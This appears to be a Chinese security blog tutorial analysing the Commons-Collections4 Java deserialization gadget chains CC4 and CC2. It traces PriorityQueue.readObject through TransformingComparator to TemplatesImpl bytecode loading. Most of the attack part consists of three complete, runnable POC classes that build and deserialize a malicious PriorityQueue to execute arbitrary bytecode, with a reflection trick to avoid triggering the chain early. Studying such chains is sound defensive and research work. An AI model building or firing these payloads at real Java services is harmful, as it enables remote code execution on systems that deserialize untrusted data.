CommonsCollections4 一、前言 CC4这条利用链与前面不同的是用到了新的Commons-Collections4依赖库,我们在前面分析的CC1,3.6用的都是Commons-Collections库3.2.1的版本
1 2 3 4 5 6 7 8 9 10 <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
CC4这条利用链最后和我们前面分析的利用链是一样的,使用Transform类对象的tranform方法直接执行代码,或者像CC3里面一样利用TemplatesImpl类去实现类加载执行任意代码。
二、利用链分析 无论我们利用链的后面是使用tranform直接执行代码,还是利用TemplatesImpl类去实现类加载执行任意代码,都是要向上找哪里调用了transfom方法
可以看到又很多类方法调用了transform方法
CC4这里用的是TransformingComparator类的compare()
方法:
1 2 3 4 5 6 @Override public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }
这里的compare调用了tranform方法,那我们接下来就要继续找对compare的调用,最好是直接重写了readObject方法
可以看到这里面有很多,所有我们想要直接找到调用compare方法,并且可以直接readobject的很难,需要很强的java代码功底
我们这里是为了分析利用链,所有就不一个个类的找了
在CC4中利用的是java.util.PriorityQueue 优先队列这个类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }
在PriorityQueue类的siftDownUsingComparator中调用了compare方法
到这里我们可以看到是通过comparator调用了compare方法
而且我们可以看到comparator是初始化的时候传进去的,所以是可控的
而且TransformingComparator类恰恰是实现了Comparator和Serializable接口
而在前面分析CC3并没有用到这里是因为旧的Commons-Collections包中TransformingComparator类没有实现Serializable接口,导致无法使用这条链。
那我们最好的就是能够通过PriorityQueue类的readObject方法直接调用到siftDownUsingComparator方法
那就向上找siftUpUsingComparator的调用
1 2 3 4 5 6 7 private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
在siftDown里面调用了siftUpUsingComparator方法
继续向上找调用
1 2 3 4 private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
那我们这里就是继续找heapify方法的调用
可以看到有两处调用了heapify方法
然后readObject方法中也调用了这个方法
那我们的利用链就可以构造为:
1 PriorityQueue.readObject() --> PriorityQueue.heapify() --> PriorityQueue.siftDown() --> PriorityQueue.siftDownUsingComparator() --> TransformingComparator.compare() --> Transformer.transform()
这是CC4的前半部分的利用链,后半部分就是CC3的写法了动态加载字节码或者transform直接进行命令执行
这里就以动态加载字节码进行命令执行
我们这里先构造利用TemplatesImpl加载字节码
这里我们直接把CC3中的拿过了用就行
1 2 3 4 5 6 Templates templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("字节码文件")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates,"_name","111"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
以及用 InstantiateTransformer
类将TrAXFilter初始化,实现调用TemplatesImpl.newTransformer()
方法,触发后续的调用:
这里其实和CC3都是一样的
那么我们后续的利用链代码就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Templates templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates,"_name","111"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); // templates.newTransformer(); org.apache.commons.collections.functors.InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates} ); //instantiateTransformer.transform( TrAXFilter.class); Transformer[] transformers = { new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
那么后面我们要做的就行通过TransformingComparator类的compare方法调用transform方法
1 2 3 4 5 public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }
decorated可空是在TransformingComparator类初始化时传入的
那我们这里直接可以把我们前面的chainTransformer作为参数传入
1 TransformingComparator transformingComparator =new TransformingComparator(chainedTransformer);
那么后面就是对compare的调用了
前面我们分析对于compare的调用是在PriorityQueue类中实现的
我们前面分析这个comparator也是可控的,所以我们可以直接在初始化类PriorityQueue将transformingComparator传入进去
进而触发compare,触发后续利用链
1 PriorityQueue priorityQueue =new PriorityQueue(transformingComparator);
其实到这里我们已经来到了readObject的类,后面就是反序列化触发到siftDownUsingComparator()方法
那我们这里直接开始从readObject在分析一遍
readObject后就会触发到heapify
跟进
在heapify进行for循环就会调用sitfDown
继续跟进
到siftdown,这里会进行一个if判断,如果comparator不为空就会调用siftDownUsingComparator()
我们前面在初始化PriorityQueue类时,将 transformingComparator作为参数赋值给了comparator用于触发后续利用链
所以这里的if判断是肯定成立的
进而触发了siftDownUsingComparator(k, x);
跟进:
在if判断中存在对compare的调用
但是这里我们分析可以得知,在while循环中必然会触发if判读进而触发compare,触发后续利用链。
所以理论上我们现在只需要进行序列化和反序列化就能够触发后续利用链。
那么到这里我们的exp为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 public class CC4 { public static void setFieldValue (Object obj, String fileNmae, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fileNmae); field.setAccessible(true ); field.set(obj,value); } public static void main (String[] args) throws Exception { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization" , "true" ); Templates templates = new TemplatesImpl (); byte [] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class" )); byte [][] codes = {code}; setFieldValue(templates, "_bytecodes" , codes); setFieldValue(templates,"_name" ,"111" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer=new InstantiateTransformer (new Class []{Templates.class},new Object []{templates} ); Transformer[] transformers = { new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator (chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue (transformingComparator); serializable(priorityQueue); unserializable(); } public static void serializable (Object obj) throws Exception { ObjectOutputStream out = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); out.writeObject(obj); } public static void unserializable () throws Exception { ObjectInputStream out = new ObjectInputStream (new FileInputStream ("ser.bin" )); out.readObject(); } }
但是我们这里进行序列化和反序列化操作后并没有什么弹出计算器,也没有报错。
打断点跟进调试
进行调试
这里大概就是将队列中的数据一个个反序列化,然后存储到定义的queue数组中
我们也可以看到在序列化的时候就是通过循环一个个的序列化
跟进
我们到这一步就没有进入到for循环中
这也可能是我们代码没有正常弹出计算器的原因
进入for循环的条件是i>=0
而i的值是等于(size>>>1)
size >>> 1
是一个位操作,表示将 size
的二进制表示向右移动一位(相当于将 size
除以 2 并向下取整)
而根据调试信息size的值为0,因为我们并没有向队列中传入数据
队列中的元素个数为0,所以导致size的值为0
size为0,那么右移三位还是0,然后减一,使i的值为-1,导致不满足循环的条件,无法进入循环
那么我们想要进入循环就要使size>>>1=1
然后当size等于2的时候右移三位值为1
所以我们至少向队列中传入两个数据
1 2 priorityQueue.add(1); priorityQueue.add(2);
但是添加后,即使我们不进行反序列化也会弹出计算器
我们这里跟进到add分析一下
继续跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public boolean offer(E e) { if (e == null) throw new NullPointerException(); modCount++; int i = size; if (i >= queue.length) grow(i + 1); size = i + 1; if (i == 0) queue[0] = e; else siftUp(i, e); return true; }
我们添加了两个元素,所以size=2
最终会调用到siftip,继续跟进
同样的comparator不为空,这里会调用siftupUsingComparator()方法
继续跟进
在这里也会调用到compare方法进而触发了后续的利用链,造成了命令执行
其实这里和我们前面代码本地执行的解决方法一样
在add前传递一个假的chaintransform,在add后再将真的chaintransform传进去
那我们这里还可以用ConstantTransformer来实现
1 TransformingComparator transformingComparator =new TransformingComparator(new ConstantTransformer(1));
然后再添加完,再通过反射修改为chaintransformer
反射修改
1 2 3 4 Class c= transformingComparator.getClass(); Field transformField=c.getDeclaredField("transformer"); transformField.setAccessible(true); transformField.set(transformingComparator,chainedTransformer);
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 public class CC4 { public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fileNmae); field.setAccessible(true); field.set(obj,value); } public static void main(String[] args) throws Exception { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); Templates templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates,"_name","111"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates} ); Transformer[] transformers = { new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator =new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue =new PriorityQueue(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class c= transformingComparator.getClass(); Field transformField=c.getDeclaredField("transformer"); transformField.setAccessible(true); transformField.set(transformingComparator,chainedTransformer); serializable(priorityQueue); unserializable(); } public static void serializable(Object obj) throws Exception { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(obj); } // 反序列化 public static void unserializable() throws Exception { ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin")); out.readObject(); } }
然后进行反序列化
成功弹出了计算器。
三、总结
CommonsCollections2利用链分析 在上面CC4中我们是通过tranformeringComparator的cpmpare方法调用TiAXFilter类去调用后续的通过利用TemplatesImpl加载字节码进行命令执行
但是我们在CC3中除了利用TiAXFilter类去调用后续的TemplatesImpl加载字节码还有一种方法是通过invokerTransformer去调用TemplatesImpl的newTransformer方法
进行调用后续的加载字节码进行命令执行
而CC2就是用这种方法去调用后续利用链
所以说CC2就是CC4的前半部分利用链和CC3通过Invokertransform调用TemplatesImpl去动态加载字节码的结合
那这里直接把前面的代码结合一下就行了
POC1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package leijiazai; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.comparators.TransformingComparator; import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class CC2 { public static void main(String[] args) throws Exception { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); Templates templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates,"_name","111"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator =new TransformingComparator( new ConstantTransformer(1)); PriorityQueue priorityQueue =new PriorityQueue(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class c= transformingComparator.getClass(); Field transformField=c.getDeclaredField("transformer"); transformField.setAccessible(true); transformField.set(transformingComparator,chainedTransformer); serializable(priorityQueue); unserializable(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } public static void serializable(Object obj) throws Exception { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(obj); } // 反序列化 public static void unserializable() throws Exception { ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin")); out.readObject(); } }
运行测试:
序列化
反序列化
POC2 当然其实我们这里也可以不用chaintransform
直接调用invokertransform
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class CC22 { public static void main(String[] args) throws Exception { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); Templates templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates,"_name","111"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); TransformingComparator transformingComparator =new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue=new PriorityQueue(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates); Class c= transformingComparator.getClass(); Field transformField=c.getDeclaredField("transformer"); transformField.setAccessible(true); transformField.set(transformingComparator,invokerTransformer); serializable(priorityQueue); unserializable(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } public static void serializable(Object obj) throws Exception { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(obj); } // 反序列化 public static void unserializable() throws Exception { ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin")); out.readObject(); } }
三、总结